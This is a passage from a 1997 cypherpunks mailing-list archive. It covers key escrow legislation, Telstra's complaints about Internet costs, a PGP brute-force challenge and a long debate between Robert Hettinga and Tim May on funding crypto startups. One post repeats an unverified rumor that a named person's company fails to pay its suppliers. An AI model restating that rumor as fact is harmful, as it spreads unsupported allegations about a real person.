   decoding technology would necessarily mean the technology
   would be used.

   "There is nothing about putting this enabling technology
   into law that will inevitably lead to it being turned on,"
   said Robert Litt, a Deputy Assistant United States
   Attorney.

   The Administration is now moving on an effort to block
   legislation [SAFE] that is to be considered this week by the house
   Intelligence and National Security Committees. That
   legislation would end Government control over cryptographic
   systems. The Administration proposal is being offered as an
   amendment to that bill.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 7 Sep 1997 22:22:19 +0800
To: cypherpunks@cyberpass.net
Subject: None
Message-ID: <a9655ba41b479c0163121313d730e004@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Interesting article concerning monopoly telco's crying poor (as 
usual) and asking someone else, in this case citizens of the USA to 
help pay for our (Australia and ors) infrastructure 
development...unbelievable. 

Article by Andrea Evagora
 
[...]
>    In Australia, Telstra Corp. Ltd. (Melbourne) is dealing with a
[...]
>    This year, Telstra will lose US$10 million on providing Internet
>    circuits to the United States. By 2000, the total spending on
>    U.S.-bound Internet circuits from all non-U.S. service providers will
>    reach US$2.5 billion, Hibbard notes. "We are providing resources for
>    which we are not adequately compensated," he says. "At the same time,
>    I am offering U.S. users access to Australian databases without

_He_ is offering??? Just when did Hibbard start putting _his_ money 
where his mouth is? Of course Hibbard doesnt do this he is a paid 
employee doing a rather poor job. Australians are paying for this 
through their monopoly telco Telstra. 

>    getting a brass razoo." Hibbard explains that traffic from the United
>    States to Australia gets a free ride, as U.S. service providers aren't
>    contributing to the international connection.

Of course he could always pull the plug and then we'd see just how 
long the Telstra monopoly would last. Naturally the americans would 
be so eager to connect with us they'd gladly pay for a new US-Oz
cable after the free ride they've been getting till now.
    
[...]
>    Carriers that offer free local calls, such as Singapore Telecom Ltd.
>    and Telstra, are the most eager for change as they recoup little or no

Let me assure everyone that Telstra DOES NOT OFFER free local
calls. Our telephony costs in Australia are amongst the highest in the
world. We pay 25c for a local call plus monthly line rental, telephone
rental and connection charges. Its absolute bulldust to suggest they
make no money from the internet given the increase in the number of
calls a user makes once connected to the net. Telstra itself is an ISP
(through thier so called 'Big Pond' 'service'. Why do they bother if
it loses them money I wonder. Telstra try to run the timed local calls
crap every year or so as well and have managed to get enabling
legislation through parliament this year.

People want to connect to the US for a reason. At a rough guess 
perhaps it's because that's where a lot of the content is...geee 
rocket scientist stuff hey. The quotes from Hibbard clearly 
illustrate the cluelessness of Australia's monopoly telco executives 
and the anti-free market let someone else pay for it attitude (in 
this case the USA..i still can't believe the arrogance of this 
Hibbard freak) that pervades the organization. With twonks like this 
running the show no wonder he's concerned about our archaic 
infrastructure that is failing to meet the needs of the current age 
and will continue to fail due to poor forecasting and capital 
planning. 

Another good reason for Australian content developers to locate their
servers overseas.














From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Sun, 7 Sep 1997 23:08:40 +0800
To: "Apache" <cypherpunks@cyberpass.net>
Subject: Re: BXA Testimony at SAFE Hearing
Message-ID: <199709071500.LAA01932@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 9/7/97 4:48 AM, Apache (apache@bear.apana.org.au) passed this
wisdom:

>> 3. Finds the SAFE bill unhelpful but likes its crypto-criminali-
>> zation provision and favors McCain-Kerrey's Secure Public Network 
>> Act bill or other legislation that will:
>...
>>  Offer, on a voluntary basis, firms that are in the business of 
>>  providing public cryptography keys the opportunity to obtain 
>>  government recognition, allowing them to market the 
>>  trustworthiness implied by government approval.
>   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

>BWHAHAHA this is some kind of sick joke surely.

>Get ur crypto here folks, it's approved by the gubermint.

  Therein lies the problem, it actually would be funny, if it weren't
true. The sheeple will feel its good 'cuz it is *gummint 'proved* !!
And all the ignorant suits out their will lockstep ... when in doubt
nobody gets fired for buying *gummint approved* !!! THEN, the gummint
boys can come back and say "...look 92% of businesses went along with
it" as the raison d'etre for turning it into a mandate.  I tend to
think of this process as 'lemmings followed by a bulldozer'

   <long deep sigh>

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNBLACMdZgC62U/gIEQISCgCeIqmbttUr4OJMW4IEvX5M5IcS3wIAoMdb
ec5/DGdCai/kac4R7hd+o4l7
=z941
-----END PGP SIGNATURE-----


Brian B. Riley --> http://www.macconnect.com/~brianbr
         For PGP Keys -  Send Email Subject "Get PGP Key"
  "to be yourself in a world that tries, night and day, to make you just
   like everybody else - is to fight the greatest battle there ever is to
   fight and keep on fighting"  - e.e. cummings






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Irwan Hadi <phoenix@cutey.com>
Date: Sun, 7 Sep 1997 13:30:35 +0800
To: bureau42 Anonymous Remailer <cypherpunks@toad.com
Subject: Re: EFF $10,000,0000 Challenge
In-Reply-To: <yy2CK0Yr+wSln/+IminsfQ==@bureau42.ml.org>
Message-ID: <3.0.3.32.19970907120328.04bf0fdc@mail.bit.net.id>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

At 19:51 06/09/97 GMT, bureau42 Anonymous Remailer wrote:
>I have brute-forced this message with my NSA-surplus CrayVax (TM) 
and
>determined its contents are as follows:
How long  you can brute forte attack this message ???
If you're right, that you only do it in 2 days, so BRUTE forte my 
message, it was encrypted with PGP Mail 4.5 with 2048 bits, and here 
I give my public key. Remember this is only for a test, so this 
public key won't find in any keyserver.

- -----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 4.5

mQENAjQSNNoAAAEIAKFY8Xi4uzfbcaOQczO59E2dLxmFqq89h/S9rrFNZNij5tu7
weX7qe7unQhL2d/jpiWlM5CKxQaM044/bSHsxDGdfFi9KOptvmHdncZQ2oRB5zQh
mNPK6pK4Ty8pxJsWALuBwDMt9Wt+0u+tkPlJK2AHWpHf+8gncrWqSv7p3N1lThhT
KHdodcwdIEzTr5jbatf1u+/gr1LyHLPW5dt32sjfi07vsAXGwiOQ4kPEVZuCsX/O
9qO2vISnTD1jFoA2O572UzYZeUKL/uzsO3I9m9Erwq9S2ULO8WZ+iasYGC3mu8PE
jp8O/Xhf/AsSF/s0nX8i8pWtBS4TNiU3t4CRIK8ABRG0K1RoaXMgaXMgb25seSBm
b3IgdGVzdCwgZnJvbSBUSEUtUGhvZW5peEJpcmQ=
=Go7q
- -----END PGP PUBLIC KEY BLOCK-----

And this is the message
- -----BEGIN PGP MESSAGE-----
Version: 4.5
Comment: sent by : phoenix@cutey.com

hQEMAjYlN7eAkSCvAQf/WqRP7J61OUkUtGbSUlpjiHsWZ0L6ZFKSsXM92gU7n6/R
lqpIK9al1TRg+FxyWh0Adng7BS9jrbn8CHxHtFLCj3FmvH5oVWGM7oSLT+ho/Bfe
KX4t0TEF5X71LiNaBfyi/AXEwHlxPvoboGcPsT1maH8POtwMguZGL7goc86rrA/f
xlMvi/VkXpw5LACsJ91za7izab9TlIGOorgVfkkJuhPHACGl/HWHOFEuLVwR7+eV
3UzaxYUxrPBUzJaSv/juOq29a7ipbSIVFJQjWpQ8w34P8Bc2JMupRUxUC7LNmDdd
fK5Z80GbZ6Ul3ib8Pi5j8PKuaKhCBLjPUB2YoVN67qYAAABOOeVBhzwd7xRSntqY
hFLYzJ5CmOuNfn8F85yeh+KIy5w818VtL6xE5Gq9t911A/6texuTn18Rm+mAiLNL
Bs30Yo3/AS90lSHSWVvpHC7y
=YsNb
- -----END PGP MESSAGE-----

I'll give one row of the message, it consist of 2 rows.
Here the first row :

PGP is Pretty Good Privacy.


if you can, give me the second row.

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNBHTMFFJDOlka9UjEQKEAgCgqeJf2WWQHnElrfC/570omcvR64EAnAzM
ei2e5XDIcK5Esyb5wOaypzEe
=/iP1
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Sun, 7 Sep 1997 23:01:37 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Mandatory key escrow bill text, backed by FBI
Message-ID: <2e3be2bca962ac9df5adb7ddea7c3613@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Mike Duvos wrote:
> This is blatantly unconstitutional and breaks new ground that the
> government has never even dared hint at before.

> The true agenda of the GAKers has finally been disclosed to the
> American public.

> Next they will want copies of all of our house keys for the
> jackbooted thugs to hold, and emergency Assault Plungers in all our
> umbrella stands ready for the cops to ram up the citizens' assholes.

> This is not simply a proposed bill.  It is an ACT OF WAR.

> It is them or us.  I pick us.

How many divisions do we have?

You have probably done more with the Eternity Service already than you
can ever hope to do with weapons.

Our strong points are ideas both those expressed as code and those
expressed as English.  Ideas catch on with other people and then they
replicate.  Ideas are hard to subvert.  Ideas are what we are good at.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNBGbmJaWtjSmRH/5AQGmsQf/R4mQ4AiMsHS1PnwDzfX2i3a2Jad/g1tj
zzNzgwEN8HaegZ1r2wT9/r874cMcVsziaHDH8YPfwRDU+LLAtGZ+OuzXbK+h8Qt7
z2XCNZ3pOcZV2/6i9t7ayWb3A7y4axzIFB9UT96hi0Z0SHaZM3y6zmiCPNfxLZDy
9b9SS0FF/HvBbBSzTtOovA9UtNpbKHgYjGyuxt06ySJu5ZLgnswNQSttDJP4LF2n
E8e8h8/lnzJCX6VISuvyyEKzvmGcYsvfnxPVoG1h4knLTgkkuIssrFUzmakGKPPp
SbhWdtv8FjBB5FvDisMhHijiqRn/bhd3G59vVkq5fBfWG7ffb3R2TQ==
=WbQ0
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 8 Sep 1997 01:44:00 +0800
To: cypherpunks@toad.com
Subject: Cybercrime
Message-ID: <1.5.4.32.19970907172136.0082a66c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The domestic arms control and disarmament agencies are 
booming. Here are samples of the tech-law-money-gov-mil
market which are both threatened and job-protected by 
strong encryption for communication and secrecy (like the 
traditional terrorists of ACDA and closed-session committees
warning of "terrifying" arms going to uncontrollable rogues):

The Department of Justice's Computer Crime and Intellectual
Property Section (CCIPS):

   http://jya.com/doj-ccips.htm

The FBI's Awareness of National Security Issues and Response
(ANSIR):

   http://jya.com/fbi-ansir.htm

National Counterintelligence Center's 1997 Report  on Foreign 
Information Collection and Industrial Espionage:

   http://jya.com/Na9757_1.htm

The Digital Copyright Clarification Bill (S.1146):

   http://jya.com/s1146.txt






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 8 Sep 1997 02:16:13 +0800
To: cypherpunks@toad.com
Subject: Re: [LONG} Funding Cypherpunks Projects
In-Reply-To: <v031107e1b0330d9f5058@[139.167.130.248]>
Message-ID: <v03110708b0385aca17d6@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:35 pm -0400 on 9/3/97, Tim May wrote:


> I almost deleted these messages from Bob, but have decided to say a few
> words about financing companies "to help the Cypherpunks cause."

Frankly, I wish you had, we seem to get along better that way, something I
keep forgetting,  but here goes...

> To the contrary, I never write political and socioeconomic essays with the
> expectation that someone out there will be "making something for me."

So, you just write them in vaccuo? I doubt that. Nobody writes things so
that no one ever will ever read them. Especially when they post them to an
immediate potential audience of thousands, and their words are permanently
archived for posterity in at least 10 places. :-).

Even if you posted them here so no one would act on your suggestions -- the
best ones out there, I might add, because you've thought about all of these
things longer and harder than practically anyone in the world -- they still
have value, which is why I, for one, asked for them.


> But generating "VC funding requests" is most definitely not even in my Top
> Ten of reasons.

Of course not. However, it doesn't keep your best thinking on this from
having economic value, nonetheless...

> From Day One, I have not shied away from talking about interesting building
> blocks.

Which is why I asked for your opinion, besides to set a rhetorical trap for
you, of course. :-).

> I agree with this. Certainly for all of the chants about "Cypherpunks write
> code," and the several years worth of (apparently) several dozen folks here
> writing code of some sort, what are we really left with that has had a
> major effect?

Nothing. That's because it costs money to do, and the best people have to
work for a living. Well, most of the best people do, anyway. :-).

> Most of the code apparently being written either never makes
> it into products, or is buried deeply, or just evaporates (as code tends to
> do, a la bit rot). PGP, SSH, the remailer code, and a few other such
> achivements are what lasts.

Agreed. Just think, there would be more effort put into the exercise of
writing code if people could see reward for the risk of their time and
neurons. Frankly, for the best coders _qua_ coders, probably, the only
reward, after the inherent satisfaction of doing good work, in my opinion,
is money. Like Rhett Butler said in GWTW: "People say that money doesn't
buy happiness, but it usually does, and when it can't it can buy the most
interesting substitutes." I see your life, including your door-side stack
of assault rifles, to be reasonable proof of interesting substitutes at the
very least, myself. :-).

> I don't trash such efforts. Rather, I think it means that it is vitally
> important that we think carefully about what code is interesting and
> important. This beats the hell out of people just starting in at coding for
> the sake of coding.

Indeed. And, I claim that the very best barometer of what works is what
sells in the market.

> First, this grossly oversimplifies the process of funding companies.

If *I* knew what *you* knew? Someday, when I can afford the body armor, you
can give me the breifing. :-).

> Methinks Bob has read about Jim Clarke's decision to fund Andreesson and
> Company too many times. Rarely (very rarely) do the VCs hire people to
> write the code for some vision.

Well, frankly, I'm not after VC money, but we'll talk about that in a minute.

> Second, writing code is cheap, and requires almost no capital. No
> factories, no chip making machines, no clean rooms, etc. Just a bunch of
> people with ideas doing it themselves.  Nearly all successful software
> companies started out with almost no working capital.

Agreed. However, there is opportunity cost, measured not only in the time
invested on something else, but the return on the investment of doing that
other thing. "The cost of anything is the foregone alternative." As my old
Mizzou econ prof liked to beat us with. Frankly, if you're doing things for
the glory of the revolution, or to make the world free from nation-states,
or the joy of flight, that's cool, but it don't pay the rent. It may
temporarily focus your efforts more than if you're just trying to pay the
rent, certainly, but it won't actually keep the wolves from the door nearly
as well as a ducat or two will.

I other words, it may have been the joy of flight which motivated the
Wright Brothers, but it was coach fare to Cleveland which built the DC3 and
got the rest of us actually in the air.

> (By contrast, I've watched several "idea" companies which had the "grand
> vision" first and then sought to hire the hired guns to write the code. All
> four that I have followed failed.

Certainly a bass-ackward way to do it. Unfortunately, that's the way Disney
did it, or L.B. Mayer did it,  or Gates, or Edison, or Parekh did it. They
had a picture in their head of the way the world worked, or should work,
they did things, as cheaply as possible, which should work in that picture,
and they were right. They still invested something, is my point, whether it
was their money or their time, or their inspiration.

Just because your friends spent so much money doing what they wanted to do,
Tim, or doing the wrong thing because they didn't know how, doesn't mean
that economic enterprise shouldn't exist at all. There's something to be
said for heuristics, obviously, but I think your sample size is too small.

> A handful of
> these programmers seem to be truly gifted...the rest are, well, hackers. OK
> for churning out code with well-defined specifications (and even then the
> well known Brooks' Law sorts of factors can make some of them grossly
> unproductve). The few who seem really gifted would be fools to work for a
> pittance for me--and I'm not willing to give them their easily-gotten daily
> consulting rates for months on end, etc.

Frankly, gifted programmers are not the people who make money, Tim. Robert
Noyce may have been a gifted scientist once, but in the end it was his
ability to motivate people ("...don't expect to come here and have me solve
your problems. It's *your* ass.") that mattered. That and his ability to
understand the opportunities in his market.

> Fourth, in my years of Cypherpunks involvement, I have never seen any
> reasonable investment opportunities. This is not to say there have not been
> any, especially with the benefit of hindsight.

Probably because as one of the few people around who understood what
constitutes an investment opportunity, you didn't create one?

> Side note: <snip> What about C2 Net? <snip> He probably--and I haven't
> checked with him on this--knew that the best opportunities were funded on a
> shoestring, by those involved directly, by those living the dream, and that
> diluting his ownership with outside funding would be a mistake. And this
> shoestring operation was able to more nimbly move to take advantage of
> opportunities, e.g., dropping the original focus on being a kind of "local
> ISP" (which is what I perceived the original CC to be) and to instead focus
> on SSLeay/Stronghold stuff.

Sameer is exactly my case in point. He decided, at the outset, to make
money, with as little investment as possible, from cryptography. He kept
looking, no, *creating*, opportunities in cryptography until he figured out
that financial cryptography was literally where the money was, and now he's
riding that pony for all it's worth.

Gates, Carnagie, Morgan, all those guys did the same thing.

> Other companies have sought funding in a grander way. E.g., PGP, Inc. I had
> no desire to invest in them, for various reasons. I wish them well, of
> course.

I look at PGP, Inc., as the second round of funding for Phil's Pretty Good
Software, Inc.. They have a product, they have a market, they have (mostly)
a managment, they needed money to go after much larger competition, like
RSA/DSI, and people with money trusted that they could do it. And, it's a
good bet, after a false start, that that's the case...

> Eric Hughes has a company, "Simple Access." To tell the truth, and in spite
> of Eric being a longtime friend of mine (since 1990 at least), I really
> have no idea what they do. The "www.sac.net" site is remarkably
> uninformative. Perhaps by design. In any case, I don't think investing
> money in this is what I want to do.

Rumor has it that they don't pay their bills, and have been stiffing
various suppliers ever since they started up. "You should think like an
illegal actor" indeed. I understand that there's enough in unpaid bills
from around the country at this point to call in the Feds, of all people,
onto SA, but most of the people holding the bag are politically opposed to
calling the cops. Kind of works out nice for Eric and Hilby, though it
makes for an interesting incentive to build one of your eternity-style
deadbeat servers, now that I think about it. It might explain why, in
addition to the reasons you've already outlined above, they haven't
actually gotten anything off the ground. What goes around comes around, and
all that.

> And there's Electric Communities (www.communities.com), containing several
> past or present Cypherpunks. I have a lot of hope from them, for
> "Microcosm," but,again, this is someone else's vision. It's too soon to
> tell if they have a killer app on their hands. If they do, then business
> magazines will write sage articles on the wisdom of the VCs. If not, as the
> odds must say is likelier, just by Bayesian odds, then they'll be
> forgotten, and the VC money will have just evaporated.

Agreed. However, you have to remember that probability works both ways. The
expected value of an investment, be it VC or not, has to be greater than
zero, or the money won't go there. That, I believe, is why we have
investors in technology, in particular cryptography.

It's why I also think that the largest investment opportunities in
cryptography will be in financial cryptography, which, I expect, requires
all the fun things that people here want to implement, anonymity,
unbreakable encryption, reputation sanction, the works, to exist in order
to work well. More to the point, all of this stuff will exist because it
will be the *cheapest* way to transact business on the net, probably by
several orders of magnitude over the way it's done now.

It's also why I think you, Tim, would be one of the best financial
cryptography investors on the planet. If you decide to "create" an
opportunity or two.

> Fifth, what I have seen from all of these experiences is that the popular
> impression of VC funding, that someone has a good idea, then finds a VC
> angel to provide seed funding, then worker bees are hired, etc., is
> basically wrong. Or at least a recipe for disaster.

Pretty much agreed. Like the old jewish shopkeeper's maxim: "First thing
you do, you get the money." That means customers, not investors. However,
in order to get customers, you have to have something to sell, which
requires an investment of some kind. Chicken and egg, maybe. That's
probably why some investors are willing to break the cycle if you can show
them where the money's going to come from. Frankly, if you sell them a
story instead of a market, they deserve to lose their money on you, and you
deserve to not get anyone's money anymore.

> The best growth opportunities come from nimble, mostly self-funded small
> teams that can learn in an evolutionary way, changing focus as failures
> occur and learning from mistakes. The worst growth opportunities come from
> "grand vision" situations.

Absolutely agree. Except of course, that those nimble self-funded small
teams have the most coherent "grand visions" in their head of anyone in the
market. They know what the world should be so well that even if nobody will
invest in their idea, they can make money with it.

"The first thing you do, get the money." However, coming from Intel, did
you notice that Intel had investors? Admittedly, software startups don't
need *that* much, money, as you've said. As long as the principals see
there's money to be made from their efforts in the long run. Or they want
to change the world. And, frankly, I think financial cryptography is the
best of both; you're getting paid to change the world.

> Sixth, we often forget that "history is written by the winners." We ask the
> five star general what his strategies were, forgetting that he became a
> general because he survived the battles and triumphed. Sort of like asking
> the Lottery winner what her strategy was....one will get answers, but they
> probably won't be useful.

Post hoc, ergo, propter hoc. Certainly. Warren Buffett talked in a Forbes
issue on portfolio managers a few years ago about a country of 268 million
chipanzees, where everyone is given a quarter, and every day the chimps
would pair off and flip coins, winner take all. After 28 days of
increasingly high-stakes "competition", a single winner would emerge, and
write a book titled "How I made $68 million in a month, working just
seconds a day".

However, like I said before, if the expected value of a given investement
is positive, then you can make money investing in enough investments just
like it, Tim, as you, of all people, know. It's not a zero sum game. That's
why it's called investing, and not gambling...

Lots of people who just go through the mechanics of "active" portfolio
management might as well invest in an index and let other people think
about such things.

However, Tim, my claim is that, as someone who knows more than practically
anyone else about this field and what it could do, you have the, forgive
me, "grand vision" thing down better than almost anyone. You invented most
of it, for starters. :-). It's one of the reasons this list is what it is,
vitriol and all. ;-). A selling point of the Schnelling Point, to torture
the language more than a little.

> Asking Jim Clarke or Bill Gates to opine on his strategies for success is
> not quite as pointless, but is not real useful either. Ask also Manny
> Fernandez about Gavilan Computer. Or ask the financiers of Ovation,
> Processor Technology, Mad Computers, Symbolics, Thinking Machines, Trilogy,
> or a hundred other examples of companies that burned through a billion
> dollars of hard-earned investor money.

I'm not so sure about that. Clearly, people like Clarke, or Gates, or lots
of other people, for that matter, know how to make money just by investing
their time and intuition into something. That skill is mostly learned, I
think. Gates' parents and family taught it to him, for instance, and it's
clear that somebody taught Clarke as well, or he wouldn't have been able to
do Netscape after SGI. Whether Clarke, or Gates, for that matter, can
continue to do so is anybody's guess, but clearly, they're making it
happen, or we wouldn't be talking about them.

I also believe that lots of other people who know almost what you know
about cryptography could learn a little about making a business, pick up a
lot of that financial cryptography that's on the floor, and make the stuff
we all think should happen faster than if they just wrote code for the
cause and hoped that people would use it. Money makes a good proxy for
measuring success, and it buys stuff too...

> Seventh, I have no doubt that if I issued a cattle call for programmers to
> write C code for some pet project I'd get some bites. The "burn rate" for a
> supported programmer is higher than the salary, of course. (Many will work
> for a share of the company, plus a living wage, but this of course means
> incorporation....not a simple matter of just offering to hire programmers.)

Yes, you have to actually spend money (in some form, even time) in order to
make money. And, frankly, if you spend enough time doing something well,
you'll probably make money too, in spite of your reason for doing things.
PRZ is a great example of this, which actually proves my point.

> Those small software companies I mentioned burned through $5 million in 3
> or so years, with nothing to show for it. And they sure did have the grand
> vision.

Well, if you count the odds of a single company succeeding, that's about
what you expect, right? However, if you looked at, say 30 of such
companies, even picking them at random would probably pay for your losses
from the ones which hit.

> Sorry, but I have no desire in even "giving away" a million bucks,
> let alone several.

I don't think I said anything about giving money away. I said that you, of
all people, know significantly more about cryptography, financial
cryptography in particular, that you would be a person who could make real
nice money investing in it. Unlike most investors who will be investing in
strong crypto and privacy, you are in a very good position to create your
own opportunities, instead of waiting for them to present themselves.

> In 1993 I elected to help fund a small startup with an
> extremely promising technology. <snip> And that $65K investment
>necessitated my sale of
> $100K worth of various stocks, inclduding Intel, due to the income tax laws
> being what they are. That $100K worth of stock would now be worth $600K,
> roughly, given that Intel has gone from $15 to $100 in that period. C'est
> la vie.

The cost of anything is the foregone alternative. But, like Heinlein said,
"Of course the game is rigged. But, you can't win if you don't play."

> But is sure makes me more cautious about funding little startups.

Amen.

> And I for damned sure won't write out checks for people I only casually
> know from this mailing list and from occassional Cypherpunks meetings!!!)

I doubt that that's the way *you'd* invest in crypto at all. Nobody but
fools would do that. However, you, not being a fool, do know what to invest
in, and, more to the point, you'd be more likely to make the stuff you want
to happen if you were actively engaged, i.e., invested, in the process.
Given what you've done in your life so far, that is.

> I could easily spend $500K (costing me an actual $700K before taxes, less
> some tax deductions as a business, possibly) hiring a staff of several
> programmers for slightly more than a year. Then it'd be gone. Would a
> "product"  be ready? You tell me the odds.

Frankly, I think they'd be pretty good. Given what we've agreed before
about what to code being the most important part of coding. I also expect
that others with more money than time, would kick some in to make it happen.

> And what would come out of such an effort? I've watched a certain American
> living in Europe burn through most (and maybe all?) of his fortune, and
> (some say) his family's fortune, and he had the best of pedigrees and the
> best set of ideas there is. Now many of us quibble with the choices he
> made, in licensing, etc., but this should be a cautionary tale to anyone
> who thinks such funding is easy.

You're talking about David Chaum, of course. And hindsight, which is always
bullshit (my hindsight in particular ;-)), says that he should have worked
on financial cryptography, a field he invented, and let other people try to
be banks, and then software companies, and now credit card associations.
Dolby is his business model, not Citibank, or VISA.

> I'm not being defeatist. I know that sometimes a $500K investment could
> turn into tens of millions. It sometimes happens. But usually not, even for
> the proposals that get funded. (And VCs tend to look at 10 to 30 proposals
> for every one they actually fund, so the odds in the Cypherpunks pool ain't
> real great that even a single proposal would reach the funding stage, let
> alone turn into another Netscape or Yahoo.)

I think that the time has come to change the conventional wisdom on that.
In my opinion, there is enough cryptography out there, particularly
financial cryptography, that can be funded to see what sells. Stuff which,
by your own admission on this list as far back as 3 years ago, needs more
money than people can donate time for, though not as much as you thought
back then.

> No, I'm not a defeatist. But I worked very hard for many years, saving a
> large fraction of my paycheck and saving my purchased stock (including
> stock options, which were not as lucrative as popular myth might have
> it...what made them now worth so much money is that I didn't sell them when
> they became available, as so many of my coworkers did). I don't intend to
> blow through half a million or a million bucks a year funding some grand
> vision,

I think we're getting to the nub of things, here, and maybe a way to hone
the point a bit. I'm saying, for a lot of technology, that it may not cost
$500K. It might, because of the diseconomies of scale for internet software
and the lack of barriers to entry for the extremely clueful technology
folks out there, be possible to get a fully functional product to market
for as little as $250k, if you could figure out a way to standardize most
of the administrative/legal/financial cruft so that the current crop of
20-something proto-crypto-entrepreneurs could concentrate on getting stuff
done quickly. That, in fact, is what a bunch of us want to do with this
e$lab thing we're kicking around.

However, Tim, someone like you doesn't *need* something like e$lab (if
anyone does at all :-)). You already *know* how to invest in something
properly. You *know* who all the good people are and where all the bodies
are buried. And you clearly know how to squeeze a buck until it hollers.
Hell, you can even fight off an assault of black-nomex-clad ninja bill
collectors. :-). Finally, you probably could do it for significantly *less*
than that $250k...

Someone like you could go out there and find, or, better, build, something
which is just sitting at the edge of the cliff, full of kinetic energy
already, and kick it off onto the market's head. There's shitloads of that
stuff out there right now, and if you thought about it, you'd know more
about what to do, and how to do it, than anyone else. Anyone.

And, I claim, that *that* is the only way to *deploy* any of the stuff on
your list in any *useful* fashion quickly enough to stop the kinds of
totalitarian statism that seems to be afoot this week. If you make
something which saves people whole bunches of money and which uses strong
cryptography to do it, then privacy through strong cryptography isn't just
a good idea, it's a business necessity. Again, you're the person who can do
this best, I think.

> especially when there seem to be few grand visions that are
> realistic.

As the one person I know whose reality distortion field is bigger (and more
coherent, I might add) than mine (I'm also modest to a fault; ask me...), I
find this hard to believe. *Make* a grand vision which is realistic, if you
don't like what's out there. Frankly, you already have one. Just add money
and stir rapidly...

> (Plenty of zealots, though.)

So it seems. ;-).

> The Pagemaker team wrote it on a shoestring. No VCs until much later, when
> a product existed. (BTW, similar to the models for both PGP, Inc. and
> C2Net, where actual products are actually being sold or distributed.)

Exactly. However, in the case of Pagemaker, the shoestring was *paid* for.
That's why he made out like a bandit. Because he knew exactly what he
wanted, hired the programmers, told them what to write, and paid them for
their work, he *owned* the code when he was done.

This is exactly what I see you doing.

Same thing with C2NET. My bet is that, for the moment, at least, Sameer
owns it *all*, and, frankly, most of the people who work for him are just
happy to get paid to do what they love to do, because nobody's investing in
the market right now the way Sameer does. When people start to really
invest in the market, Sameer's going to have to offer stock options, like
Gates did, to keep people. But he's never going to need to get actual
investment from anyone ever, if he plays his card right. Of, course, like
Gates, he might have to go public someday if he's got too many option
holders. That's a nice problem to have, as I've said before.

My point, Tim, is that you could take any of the projects on your list, or
just the best one, and fund its development as cheaply as possible, on a
shoestring, and do exactly what Sameer or Gates did. Though obviously not
on the same scale as Gates, of course, but certainly the same mechanical
process, and with more than enough return on your investment.

> As it happens, I knew Adam Osbourne.

Great. So you know how to do it then.

> The problem with your "rhetorical traps," by your own admission, is that
> you just don't know what you're talking about in most cases, at least
> insofar as startups and funding go.

You may be right, and, frankly, at the moment, all I can do is bark at the
end of my rope about it. :-). Your uncanny talent for ad hominems aside, I
believe that my *analysis* of the situation is still valid, no matter my
motives or credentials to make it. Frankly, there are people with more than
enough credentials agreeing with me on a lot of this stuff. However, that
and a nickle, etc...

That analysis is that you, Tim May, the person who knows more about this
class of stuff than anyone out there, would, in my (completely unworthy
;-)) opinion, be an ideal person to make the right stuff happen. You have
the (if you'll pardon the aspersions on your character) "vision", you have
the knowlege, -- you even have the money -- to create your own
opportunities in cryptography, especially in financial cryptography, which
is the lever long enough to lift the world, as it were.

And it's a shame you don't just up and do it.

> I recall your "hothouse" VC proposal (I
> may have the name wrong, but the idea was the same as one of those hothouse
> schemes, with offices for budding entrepreneurs, etc.).

Yup. It's called e$lab, for the time being, and it's supposed to be modeled
on IdeaLab in Sacremento, and ThermoElectron, here in Massachusetts, and
it's purpose is to put together as many financial cryptography companies as
possible.  Thank you the plug, however backhanded. Just spell my name
right, or not, and I'll be happy. Any mention you can walk away from, and
all that...

> Maybe in another post I'll give my views on why such hothouse schemes are
> lousy ideas.

Wonderful. Love to hear it. Be prepared to stand in line for a little while
at the microphone, though... :-).

> But if yours is up and running and headed for success, I'll be
> happy to stand corrected.

I'd be happy to stand and correct you, someday, hopefully soon. If it
works, that is. Another nice problem to have. Certainly e$lab represents my
willingness to put people with money and business acumen together with
people who know financial cryptography until the people who know financial
cryptography have enough business accumen to teach it themselves.

Whether e$lab ends up a 'hothouse' in the model we've all come to know and
love remains to be seen. It doesn't mean we get to quit, though.

Sameer's original idea for C2NET didn't work, or his second, either, for
that matter. Microsoft isn't Traff-o-Data anymore. However, the "grand
vision" is still there, and I'm just as convinced that it's right as they
were of theirs...

> John chooses to do the things he chooses to do. He has more interest in, or
> faith in, the legal process. I have more interest in, or faith in, the
> expository process. I write about 100 times as much as he does. To each
> their own.

Indeed. Maybe we're circling around another important truth here. Mark
Twain made his name, and lots of money, writing. You don't need money, but
you've made your name by thinking, writing, and talking, for the most part.
Mark Twain spent horrendous chunks of his personal fortune on a supposedly
revolutionary printing press, or maybe it was a precursor to  the
typewriter, something like that. His famous quote, "Put all your eggs in
one basket. And watch the basket." comes from that experience.

Heck, maybe all *I'm* good for is shooting my mouth off too. (That and
conning people into doing fun projects, hopefully for money.) It would be
nice, someday, to have done a little more than that, though.

